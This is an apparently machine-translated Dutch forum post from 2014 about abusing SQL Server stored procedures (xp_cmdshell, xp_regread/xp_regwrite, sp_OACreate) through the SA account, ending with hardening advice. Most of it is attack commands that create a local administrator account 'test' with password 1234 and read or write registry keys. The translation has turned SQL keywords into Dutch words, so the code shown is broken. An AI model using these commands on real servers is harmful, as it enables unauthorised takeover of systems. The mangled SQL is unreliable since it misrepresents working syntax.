Opgeslagen procedures zijn een verzameling vooraf geschreven SQL-instructies die zijn opgeslagen in SQLServer, waarvan de gevaarlijkste uitgebreide opgeslagen procedures xp_cmdshell zijn, die elke instructie van het besturingssysteem kunnen uitvoeren, en SA is het beheerdersaccount van Microsoft SQLServer, met de hoogste privileges, het kan uitgebreide opgeslagen procedures uitvoeren en retourwaarden verkrijgen, zoals uitvoering:
Uitvoerend meester.. xp_cmdshell 'net user test 1234 /add' en exec master: xp_cmdshell 'net localgroup administrators test /add'
Op deze manier worden een gebruikersnaamtest, wachtwoord 1234 en beheerdersrechten toegevoegd aan het systeem van de andere partij, zoals weergegeven in Figuur 1.
Nu zou je moeten begrijpen waarom je het SA-wachtwoord hebt en de hoogste rechten van het systeem krijgt. Vaak kennen veel netwerkbeheerders deze situatie niet en hebben ze enkele eenvoudige wachtwoorden zoals 1234 en 4321 voor hun SA-gebruikers, of stellen ze zelfs helemaal geen wachtwoorden in, zodat netwerkindringers het SA-wachtwoord gemakkelijk kunnen scannen met hacktools en vervolgens de computer kunnen bedienen.
Naast xp_cmdshell zijn er ook opgeslagen procedures die door indringers kunnen worden uitgebuit:
1. xp_regread (deze uitgebreide opgeslagen procedure kan de waarde lezen die in de sleutel in het register is gespecificeerd), hoe deze te gebruiken (de machinenaam te verkrijgen):
VERKLAAR@testvarchar(50) UITVOEREND MEESTER.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='systeem\controlset001\control\computernaam\computernaam', @value_name='computernaam', @value=@test UITVOER SELECTEREN @test
2. xp_regwrite (deze uitgebreide opgeslagen procedure kan de waarde schrijven die in de sleutel in het register is gespecificeerd), en hoe deze te gebruiken (bbb in de sleutel te schrijven HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
UITVOEREND MEESTER.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaWaarde', @type='REG_SZ', @value='bbb'
Als de beheerder van de gecompromitteerde computer de HKEY_LOCAL_MACHINE\SAM\SAM\-informatie in het register kan doorzoeken, kunnen de twee opgeslagen procedures xp_regread en xp_regwrite worden gebruikt om de beheerder te klonen en beheerdersrechten te verkrijgen. xp_regdeletekey. xp_regdeletevalue brengt ook beveiligingsrisico's met zich mee. 3. Een reeks OLE-gerelateerde opslagprocedures, deze reeks opslagprocedures heeft sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, gebruik:
DECLAREER @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
Op deze manier voegt het andere systeem een gebruiker genaamd test toe en een gebruiker met het wachtwoord 1234, en voert vervolgens uit:
DECLAREER @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Gebruikerstest, toegevoegd aan de Beheerdersgroep. Oplossing: Geef SA een wachtwoord dat complex genoeg is om het moeilijk te maken voor cyberaanvallers om te kraken. Voor de veiligheid moeten we ook opgeslagen procedures in SQLS gebruiken sp_addextendedproc sp_dropextendedproc de query-analyzer van de erver sp_dropextendedproc opgeslagen procedures zoals xp_cmdshell verwijderen, en vervolgens sp_addextendedproc herstel gebruiken wanneer dat nodig is. Het moet worden opgemerkt dat het verwijderen van opgeslagen procedures gerelateerd aan OLE sommige functies in Enterprise Manager onbruikbaar kan maken, en de auteur raadt aan deze hier niet te verwijderen.
Nu we weten hoe we SP_OACREATE moeten gebruiken, kunnen we naar \WINNT \system32 gaan om de cmd.exe, net.exe en net1.exe drie bestanden te vinden, en alle gebruikers verwijderen die toegang hebben tot deze bestanden in de "Eigenschappen" - "Beveiliging", zodat we SP_OACREATE niet kunnen gebruiken om het aantal systeemgebruikers te verhogen, en we toegang kunnen toevoegen wanneer we deze bestanden nodig hebben.
|
Geplaatst op 26-11-2014 15:48:23
|
|
|
